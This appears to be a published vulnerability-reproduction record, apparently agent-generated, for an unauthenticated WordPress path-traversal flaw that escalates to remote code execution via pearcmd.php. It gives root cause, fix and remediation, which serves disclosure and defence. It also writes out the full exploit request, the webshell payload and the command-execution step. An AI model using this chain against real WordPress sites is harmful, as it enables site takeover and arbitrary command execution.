{"repro_id":"REPRO-2026-00356","version":6,"title":"WordPress Core unauthenticated path traversal in get_page_template() page-template resolution leading to conditional RCE","repro_type":"security","status":"published","severity":"critical","description":"Unauthenticated path traversal in WordPress Core page-template resolution. get_page_template() in wp-includes/template.php builds candidate 'page-{$pagename_decoded}.php' from the urldecoded 'pagename' query var WITHOUT validate_file() validation (the sibling $template candidate IS validated three lines above). urldecode() turns a traversal-shaped slug into a real path, allowing inclusion of a chosen readable local .php file outside the active theme directories (LFI). Conditional RCE via PEAR pearcmd.php when register_argc_argv=On.","root_cause":"# RCA Report — CVE-2026-87902 / GHSA-7hp8-65ch-5whp\n\n## Summary\n\nWordPress Core's `get_page_template()` (wp-includes/template.php) builds a candidate\ntemplate filename from the `pagename` query variable after applying `urldecode()` to it,\nwithout the `validate_file()` guard that is applied to the sibling `$template` candidate\nthree lines above. Because percent-encoded octets survive WordPress's query sanitization\n(`sanitize_title_for_query()` preserves `%xx` sequences) and the `pagename` query variable\nis settable by unauthenticated visitors, a double-url-encoded traversal payload is decoded\ninside `get_page_template()` and assembled as `page-{decoded}.php`. `locate_template()`\nthen resolves and includes a readable local `.php` file outside the active theme\ndirectories. When the server also ships a useful local PHP target — PEAR's\n`pearcmd.php` with `register_argc_argv=On` (the default in the official PHP/WordPress\nDocker images) — the file inclusion becomes remote code execution via the well-known\n`pearcmd.php` `config-create` webshell-write transition.\n\n## Impact\n\n- Package/component: WordPress Core (wordpress-develop), `wp-includes/template.php`,\n  `get_page_template()` / `locate_template()`.\n- Affected versions: 4.7.0 through 7.1.1 (all branches); fixed in 7.1.2 with backports\n  (7.0.6, 6.9.9, 6.8.10, 6.7.9, ... down to 4.7.37).\n- Risk: Critical (CVSS 4.0 9.2, CWE-98). Unauthenticated local PHP file inclusion,\n  escalable to remote code execution when (1) the active theme has a top-level directory\n  whose name starts with `page-` (e.g. Twenty Twelve's `page-templates/`) and\n  (2) a readable local `.php` target such as `/usr/local/lib/php/pearcmd.php` exists.\n- Consequences demonstrated: arbitrary OS command execution as `www-data`\n  (`uid=33(www-data)`) on the web server, i.e. full site compromise.\n\n## Impact Parity\n\n- Disclosed/claimed maximum impact: unauthenticated remote code execution\n  (claim: `api_remote` surface, `code_execution` impact).\n- Reproduced impact from this run: unauthenticated remote code execution through the\n  real Apache/HTTP front door of WordPress 7.1.1 — an attacker-chosen OS command\n  (`echo PRUVA-CMD-<token>;id`) executed as `uid=33(www-data)` via a webshell that the\n  include-chain wrote into the webroot, plus the underlying local file inclusion\n  primitive proven independently with an out-of-theme marker file.\n- Parity: **full**.\n- Not demonstrated: nothing beyond the claimed impact (no persistence/privilege\n  escalation beyond the web user, which is out of scope for the claim).\n\n## Root Cause\n\nIn WordPress ≤ 7.1.1, `get_page_template()` contains:\n\n```php\nif ( $template && 0 === validate_file( $template ) ) {   // validated\n    $templates[] = $template;\n}\nif ( $pagename ) {\n    $pagename_decoded = urldecode( $pagename );\n    if ( $pagename_decoded !== $pagename ) {              // NOT validated (the bug)\n        $templates[] = \"page-{$pagename_decoded}.php\";\n    }\n    $templates[] = \"page-{$pagename}.php\";\n}\n```\n\nReachability chain (all unauthenticated, plain-permalink front-controller request):\n\n1. `pagename` is a public query var; `?pagename=...` lands in `$wp->query_vars`\n   after exactly one URL decode by PHP.\n2. Double-encoding keeps octets alive: `sanitize_title_for_query()` preserves\n   `%xx` sequences, so the query var still contains `%2e%2e%2f...` after\n   `WP_Query` processing.\n3. The 404 trap is avoided with `page_id`: in `WP_Query::get_posts()`\n   (class-wp-query.php ≈ line 2276) a valid `page_id` **overwrites** the `WHERE`\n   clause (`$where = \" AND ID = <page_id>\"`), so the query returns the real page,\n   `is_page` survives `WP::handle_404()`, and the template loader reaches\n   `is_page() → get_page_template()`.\n4. `get_page_template()` applies its own second `urldecode()`, turning\n   `templates%2f%2e%2e%2f...` into `templates/../../../../usr/local/lib/php/pearcmd`,\n   and prepends `page-` / appends `.php`. The leading `page-` is why the traversal\n   must start inside a theme directory that literally starts with `page-`\n   (Twenty Twelve's `page-templates/`).\n5. `locate_template()` sees\n   `file_exists(<theme>/page-templates/../../../../usr/local/lib/php/pearcmd.php) == true`\n   and returns the path; template-loader.php `include`s it.\n6. With `register_argc_argv=On` (default in the official PHP Docker images),\n   `$_SERVER['argv']` is built from the raw query string split on `+`, so\n   `&+config-create+/<php-payload>+/var/www/html/<shell>.php` makes the included\n   `pearcmd.php` write an attacker-controlled PHP config file into the webroot.\n   A second unauthenticated GET to that file executes arbitrary commands.\n\nFix (7.1.2, diff verified against the official release): adds\n`0 === validate_file( $pagename_decoded )` to the pagename branch and introduces\n`_wp_is_template_path_allowed()`, a containment check (realpath must stay inside the\nstylesheet/template directories or `wp-includes/theme-compat`) applied to every\ncandidate resolved by `locate_template()`.\n\nFix reference: wordpress-develop `7.1.1...7.1.2` diff, files\n`src/wp-includes/template.php`, `src/wp-includes/version.php`\n(GHSA-7hp8-65ch-5whp, reporter Robert Ressl).\n\n## Reproduction Steps\n\n1. `bundle/repro/reproduction_steps.sh` (self-contained; only needs Docker + network).\n2. The script:\n   - pulls `wordpress:7.1.1-apache` and `mysql:8.0`,\n   - builds a fixed image by replacing `/usr/src/wordpress` with the official\n     `wordpress-7.1.2.tar.gz` (keeping `wp-config-docker.php`),\n   - records precondition evidence (WP versions, `register_argc_argv=On`,\n     `pearcmd.php` presence, absence/presence of the patch hunks),\n   - starts MySQL + both WordPress instances (vulnerable on :18081, fixed on :18082),\n     performs the real web installer flow over HTTP, installs and activates the legacy\n     Twenty Twelve theme (advisory-named precondition, top-level `page-templates/`),\n   - places a readable marker PHP at `/opt/pruva_lfi_marker.php` (out-of-theme LFI\n     proof target),\n   - twice attacks the vulnerable instance with an unauthenticated\n     `GET /?page_id=2&pagename=templates%252f%252e%252e...%252fusr%252flocal%252flib%252fphp%252fpearcmd&+config-create+/<?=system(current($_GET))?>+/var/www/html/<shell>.php`,\n     then fetches the written shell with `?c=echo+PRUVA-CMD-<token>;id`,\n   - twice replays the identical attack against the fixed instance as a negative\n     control,\n   - writes `bundle/repro/runtime_manifest.json` with sha256-bound proof artifacts.\n3. Expected evidence: both vulnerable attempts return the per-attempt marker\n   `PRUVA-CMD-<token>` and `uid=33(www-data)`; both fixed attempts show no marker and\n   no shell (HTTP 404 for the shell, no LFI marker in the traversal response).\n\n## Evidence\n\n- Preconditions/patch diff evidence: `bundle/logs/reproduction_preconditions.log`\n  (vuln: `$wp_version = '7.1.1'`, `register_argc_argv=1`, pearcmd.php present,\n  0 occurrences of `validate_file( $pagename_decoded )`; fixed: 7.1.2 with the guard\n  and `_wp_is_template_path_allowed`).\n- Run log: `bundle/logs/reproduction_steps.log`\n  (`[vuln attempt 1] ... RCE=CONFIRMED LFI=CONFIRMED`, `2/2`, fixed `2/2 blocked`).\n- Per-attack request/response pairs: `bundle/logs/vuln_attempt{1,2}_{request,response}.txt`\n  (response ends with `Successfully created default configuration file\n  \"/var/www/html/pruva_rce_vuln*_*.php\"`).\n- Command-execution output: `bundle/logs/vuln_attempt{1,2}_command.txt` containing\n  `PRUVA-CMD-<token>` and `uid=33(www-data) gid=33(www-data) groups=33(www-data)`.\n- LFI primitive: `bundle/logs/vuln_attempt{1,2}_lfi_response.txt` begins with\n  `PRUVA-LFI-MARKER-87902` (out-of-theme `/opt/pruva_lfi_marker.php` included).\n- Negative control: `bundle/logs/fixed_attempt{1,2}_*.txt` — no marker, shell GET 404.\n- Environment: Apache 2.4.68 / PHP 8.3.33 (mod_php, official `wordpress:7.1.1-apache`\n  image, digest recorded in runtime_manifest.json), MySQL 8.0, Twenty Twelve 4.9,\n  plain permalinks, default options.\n- Structured runtime evidence: `bundle/repro/runtime_manifest.json`.\n\n## Recommendations / Next Steps\n\n- Upgrade to WordPress 7.1.2 (or the corresponding backport: 7.0.6, 6.9.9, 6.8.10,\n  6.7.9, 6.6.9, ... 4.7.37).\n- The fix approach is correct and sufficient: validate the decoded pagename with\n  `validate_file()` and enforce theme-containment (`_wp_is_template_path_allowed()`)\n  for every template path `locate_template()` resolves.\n- Defense-in-depth: set `register_argc_argv=Off` for web SAPIs (php.ini-production\n  default) to neutralize the pearcmd.php transition; remove PEAR from web images;\n  avoid activating classic themes with top-level `page-*` directories on unpatched\n  installs.\n- Testing: regression test that `page-%2e%2e%2f...`-style pagenames (single- and\n  double-encoded) never resolve outside the theme for both classic and block themes.\n\n## Additional Notes\n\n- Idempotency: the script tears down and recreates its Docker network/containers on\n  every run, reuses cached downloads (`/pruva/project-cache/packages`), rebuilds the\n  fixed image only if missing/stale, and was executed twice consecutively with\n  identical `CONFIRMED` results (exit 0).\n- Implementation details discovered empirically: PHP builds `$_SERVER['argv']` from\n  the raw query string split on `+` and mangles single quotes, so the webshell payload\n  is quote-free (`<?=system(current($_GET))?>`); `curl -g` is required because the\n  payload otherwise triggers curl URL globbing.\n- The vulnerable path requires no authentication, no plugins, and default options;\n  the only non-default elements are the documented preconditions (a `page-*` top-level\n  theme directory — provided by the advisory-named Twenty Twelve theme — and a readable\n  local `.php` target, provided by the stock official PHP/WordPress image).\n","ghsa_id":"GHSA-7hp8-65ch-5whp","cve_id":"CVE-2026-87902","cwe_id":"CWE-98","source_url":"https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp","package":{"name":"WordPress/wordpress-develop","ecosystem":"github","affected_versions":"4.7.0 through 7.1.1","fixed_version":"7.1.2","tested_vulnerable":"7.1.1","tested_patched":"7.1.2"},"reproduced_at":"2026-09-22T19:34:53.946841+00:00","duration_secs":4056.0,"tool_calls":161,"handoffs":2,"total_cost_usd":4.933502,"agent_costs":{"claim_matcher":0.027132,"judge":0.425228,"learning_policy":0.013584,"repro":3.137477,"support":0.089796,"vuln_variant":1.240285},"cost_breakdown":{"claim_matcher":{"gpt-5.4-mini-2026-03-17":0.027132},"judge":{"gpt-5.6-sol":0.425228},"learning_policy":{"gpt-5.4-mini-2026-03-17":0.013584},"repro":{"accounts/fireworks/models/kimi-k3":3.137477},"support":{"accounts/fireworks/models/kimi-k3":0.089796},"vuln_variant":{"accounts/fireworks/models/kimi-k3":1.240285}},"vulnerable_version_variant_outcome":"unknown","fix_bypass_outcome":"unknown","variant_disclosure_state":"unknown","quality":{"confidence":"high","idempotent_verified":false,"community_verifications":0},"evidence":{"workflow":{"profile":"known_vulnerability","schema_version":2,"stages":["support","claim_contract","repro","judge","vuln_variant"]}},"environment":{"sandbox_image":"ghcr.io/n3mes1s/pruva-sandbox@sha256:8096b2518d6022e13d68f885c3b8ded6b4fe607098b1a1ccbfb99abc004d1dc1"},"published_at":"2026-09-22T19:34:54.883374+00:00","retracted":false,"artifacts":[{"path":"bundle/repro/rca_report.md","filename":"rca_report.md","size":9814,"category":"analysis"},{"path":"bundle/repro/reproduction_steps.sh","filename":"reproduction_steps.sh","size":20923,"category":"reproduction_script"},{"path":"bundle/logs/fixed_attempt1_command_request.txt","filename":"fixed_attempt1_command_request.txt","size":103,"category":"other"},{"path":"bundle/logs/fixed_attempt1_lfi_request.txt","filename":"fixed_attempt1_lfi_request.txt","size":275,"category":"other"},{"path":"bundle/logs/fixed_attempt1_lfi_response.txt","filename":"fixed_attempt1_lfi_response.txt","size":36432,"category":"other"},{"path":"bundle/logs/fixed_attempt1_request.txt","filename":"fixed_attempt1_request.txt","size":384,"category":"other"},{"path":"bundle/logs/fixed_attempt1_response.txt","filename":"fixed_attempt1_response.txt","size":36432,"category":"other"},{"path":"bundle/logs/fixed_attempt2_command.txt","filename":"fixed_attempt2_command.txt","size":314,"category":"other"},{"path":"bundle/logs/fixed_attempt2_command_request.txt","filename":"fixed_attempt2_command_request.txt","size":103,"category":"other"},{"path":"bundle/logs/fixed_attempt2_lfi_request.txt","filename":"fixed_attempt2_lfi_request.txt","size":275,"category":"other"},{"path":"bundle/logs/fixed_attempt2_lfi_response.txt","filename":"fixed_attempt2_lfi_response.txt","size":36432,"category":"other"},{"path":"bundle/logs/fixed_attempt2_request.txt","filename":"fixed_attempt2_request.txt","size":384,"category":"other"},{"path":"bundle/logs/fixed_attempt2_response.txt","filename":"fixed_attempt2_response.txt","size":36432,"category":"other"},{"path":"bundle/logs/reproduction_preconditions.log","filename":"reproduction_preconditions.log","size":509,"category":"log"},{"path":"bundle/logs/vuln.homepage.html","filename":"vuln.homepage.html","size":34159,"category":"other"},{"path":"bundle/logs/vuln_attempt1_command_request.txt","filename":"vuln_attempt1_command_request.txt","size":102,"category":"other"},{"path":"bundle/logs/vuln_attempt1_lfi_request.txt","filename":"vuln_attempt1_lfi_request.txt","size":275,"category":"other"},{"path":"bundle/logs/vuln_attempt2_command_request.txt","filename":"vuln_attempt2_command_request.txt","size":102,"category":"other"},{"path":"bundle/logs/vuln_attempt2_lfi_request.txt","filename":"vuln_attempt2_lfi_request.txt","size":275,"category":"other"},{"path":"bundle/logs/vuln_attempt2_lfi_response.txt","filename":"vuln_attempt2_lfi_response.txt","size":23,"category":"other"},{"path":"bundle/logs/vuln_attempt2_request.txt","filename":"vuln_attempt2_request.txt","size":383,"category":"other"},{"path":"bundle/logs/vuln_attempt2_response.txt","filename":"vuln_attempt2_response.txt","size":2688,"category":"other"},{"path":"bundle/repro/runtime_manifest.json","filename":"runtime_manifest.json","size":4973,"category":"other"},{"path":"bundle/repro/validation_verdict.json","filename":"validation_verdict.json","size":1674,"category":"other"}]}